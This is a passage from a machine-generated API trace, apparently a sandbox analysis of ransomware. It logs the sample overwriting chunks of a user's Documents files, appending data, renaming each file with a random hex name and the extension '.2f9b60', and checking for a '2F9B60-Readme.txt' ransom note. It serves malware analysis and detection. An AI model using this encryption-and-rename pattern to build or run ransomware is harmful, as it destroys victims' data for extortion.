RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9d030 [0092.992] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="e3") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="aa") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="aa") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="2a") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="14") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="5b") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="16") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="c4") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="9c") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="9d") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="a0") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="1c") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="0d") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="43") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="5b") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="30") returned 2 [0092.992] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="91") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="df") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="34") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="78") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="32") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="27") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="dc") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="fc") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="f7") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="5a") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="f7") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="c4") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="b8") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="ef") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="e4") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="88") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="43") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="85") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="80") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="24") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="d8") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="36") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d07c, _Format="%c%c" | out: _Dest="8f") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d07e, _Format="%c%c" | out: _Dest="c8") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d080, _Format="%c%c" | out: _Dest="30") returned 2 [0092.993] sprintf (in: _Dest=0x1cd9d082, _Format="%c%c" | out: _Dest="1c") returned 2 [0092.993] RtlInitAnsiString (in: DestinationString=0x22b9fe48, SourceString="e3aaaa2a145b16c49c9da01c0d435b3091df34783227dcfcf75af7c4b8efe48843858024d8368fc8301c" | out: DestinationString="e3aaaa2a145b16c49c9da01c0d435b3091df34783227dcfcf75af7c4b8efe48843858024d8368fc8301c") [0092.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x22b9fe18, SourceString="e3aaaa2a145b16c49c9da01c0d435b3091df34783227dcfcf75af7c4b8efe48843858024d8368fc8301c", AllocateDestinationString=1 | out: DestinationString="e3aaaa2a145b16c49c9da01c0d435b3091df34783227dcfcf75af7c4b8efe48843858024d8368fc8301c") returned 0x0 [0092.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0092.994] wcscat (in: _Dest=0x1b7ad2a0, _Source="e3aaaa2a145b16c49c9da" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e3aaaa2a145b16c49c9da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e3aaaa2a145b16c49c9da" [0092.994] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e3aaaa2a145b16c49c9da.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e3aaaa2a145b16c49c9da.2f9b60" [0092.994] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e3aaaa2a145b16c49c9da.2f9b60", NtPathName=0x22b9fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e3aaaa2a145b16c49c9da.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce108f0 [0092.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.995] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x22b9fe58, FileInformation=0x22b9fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22b9fe58, FileInformation=0x22b9fe68) returned 0x0 [0092.995] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x22b9fe58, FileInformation=0x22b9fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0092.997] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.999] CloseHandle (hObject=0xcfc) returned 1 [0092.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef90 [0093.000] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.000] wcscat (in: _Dest=0x1b85ef90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.000] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784ac0) returned 1 Thread: id = 513 os_tid = 0xd58 [0093.007] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KT5yvXXVKVr5T.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kt5yvxxvkvr5t.ods")) returned 0x20 [0093.007] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KT5yvXXVKVr5T.ods", dwFileAttributes=0x20) returned 1 [0093.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KT5yvXXVKVr5T.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kt5yvxxvkvr5t.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0093.008] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x2298fe40 | out: lpFileSize=0x2298fe40*=83974) returned 1 [0093.008] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x14802, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.008] ReadFile (in: hFile=0xcfc, lpBuffer=0x2298fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2298fe08, lpOverlapped=0x0 | out: lpBuffer=0x2298fdc0*, lpNumberOfBytesRead=0x2298fe08*=0x4, lpOverlapped=0x0) returned 1 [0093.009] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b380 [0093.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0093.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0093.009] NtQuerySystemTime (in: CurrentTime=0x2298fd00 | out: CurrentTime=0x2298fd00*=132462176988490000) returned 0x0 [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x6b93a37f [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x21f061c1 [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x1102430b [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x247d8783 [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x5f64e632 [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x4bab9c82 [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x2cb7baa7 [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x16b45c1b [0093.009] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x1e1029bf [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x742efc95 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x61e9600b [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x1af4a0df [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0xf9ccec9 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x227a3904 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x6684169e [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x6fa9cc36 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x75fe58bf [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x348d8699 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x482d2d4d [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x5aa9e14d [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x4e037702 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x2fbeb742 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x1444e244 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x23df38f2 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x41bbfa04 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x3e39739 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x5455b845 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x322cb6ed [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x41ff6aa7 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x7f5537c2 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x67e11244 [0093.010] RtlRandomEx (in: Seed=0x2298fcf0 | out: Seed=0x2298fcf0) returned 0x58e959e [0093.019] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.019] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2298fd60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2298fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.019] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b380 [0093.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b380) returned 1 [0093.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b380 [0093.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0093.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2c0) returned 1 [0093.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.020] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2298fd60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2298fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.021] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.022] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2298fd60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2298fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.022] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0093.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2c0) returned 1 [0093.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0093.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0093.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.022] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2298fd60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2298fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.023] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x10c06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.023] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2298fd60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2298fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.024] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x10c06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0093.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0093.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0093.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.024] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2298fd60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2298fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e6b0 [0093.026] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.026] WriteFile (in: hFile=0xcfc, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2298fe10, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2298fe10*=0x154, lpOverlapped=0x0) returned 1 [0093.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0093.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2c0) returned 1 [0093.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85b2c0 [0093.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0093.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0093.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82bc20 [0093.029] sprintf (in: _Dest=0x1b82bc20, _Format="%c%c" | out: _Dest="d0") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc22, _Format="%c%c" | out: _Dest="34") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc24, _Format="%c%c" | out: _Dest="d2") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc26, _Format="%c%c" | out: _Dest="8f") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc28, _Format="%c%c" | out: _Dest="92") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc2a, _Format="%c%c" | out: _Dest="07") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc2c, _Format="%c%c" | out: _Dest="77") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc2e, _Format="%c%c" | out: _Dest="86") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc30, _Format="%c%c" | out: _Dest="28") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc32, _Format="%c%c" | out: _Dest="44") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc34, _Format="%c%c" | out: _Dest="25") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc36, _Format="%c%c" | out: _Dest="28") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc38, _Format="%c%c" | out: _Dest="3a") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc3a, _Format="%c%c" | out: _Dest="50") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc3c, _Format="%c%c" | out: _Dest="24") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc3e, _Format="%c%c" | out: _Dest="03") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc40, _Format="%c%c" | out: _Dest="e4") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc42, _Format="%c%c" | out: _Dest="f3") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc44, _Format="%c%c" | out: _Dest="19") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc46, _Format="%c%c" | out: _Dest="63") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc48, _Format="%c%c" | out: _Dest="1d") returned 2 [0093.029] sprintf (in: _Dest=0x1b82bc4a, _Format="%c%c" | out: _Dest="88") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc4c, _Format="%c%c" | out: _Dest="48") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc4e, _Format="%c%c" | out: _Dest="70") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc50, _Format="%c%c" | out: _Dest="67") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc52, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc54, _Format="%c%c" | out: _Dest="23") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc56, _Format="%c%c" | out: _Dest="27") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc58, _Format="%c%c" | out: _Dest="b2") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc5a, _Format="%c%c" | out: _Dest="52") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc5c, _Format="%c%c" | out: _Dest="6d") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc5e, _Format="%c%c" | out: _Dest="14") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc60, _Format="%c%c" | out: _Dest="b6") returned 2 [0093.030] sprintf (in: _Dest=0x1b82bc62, _Format="%c%c" | out: _Dest="91") returned 2 [0093.030] RtlInitAnsiString (in: DestinationString=0x2298fe88, SourceString="d034d28f92077786284425283a502403e4f319631d88487067a62327b2526d14b691" | out: DestinationString="d034d28f92077786284425283a502403e4f319631d88487067a62327b2526d14b691") [0093.030] RtlAnsiStringToUnicodeString (in: DestinationString=0x2298fe58, SourceString="d034d28f92077786284425283a502403e4f319631d88487067a62327b2526d14b691", AllocateDestinationString=1 | out: DestinationString="d034d28f92077786284425283a502403e4f319631d88487067a62327b2526d14b691") returned 0x0 [0093.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad5c0 [0093.030] wcscat (in: _Dest=0x1b784ac0, _Source="d034d28f920777862" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d034d28f920777862") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d034d28f920777862" [0093.030] wcscat (in: _Dest=0x1b784ac0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d034d28f920777862.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d034d28f920777862.2f9b60" [0093.030] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d034d28f920777862.2f9b60", NtPathName=0x2298fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d034d28f920777862.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce108f0 [0093.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0093.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.032] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x2298fe98, FileInformation=0x2298fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2298fe98, FileInformation=0x2298fea8) returned 0x0 [0093.032] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x2298fe98, FileInformation=0x2298fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784ac0) returned 1 [0093.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.034] FlushFileBuffers (hFile=0xcfc) returned 1 [0093.035] CloseHandle (hObject=0xcfc) returned 1 [0093.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef90 [0093.036] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.036] wcscat (in: _Dest=0x1b85ef90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS 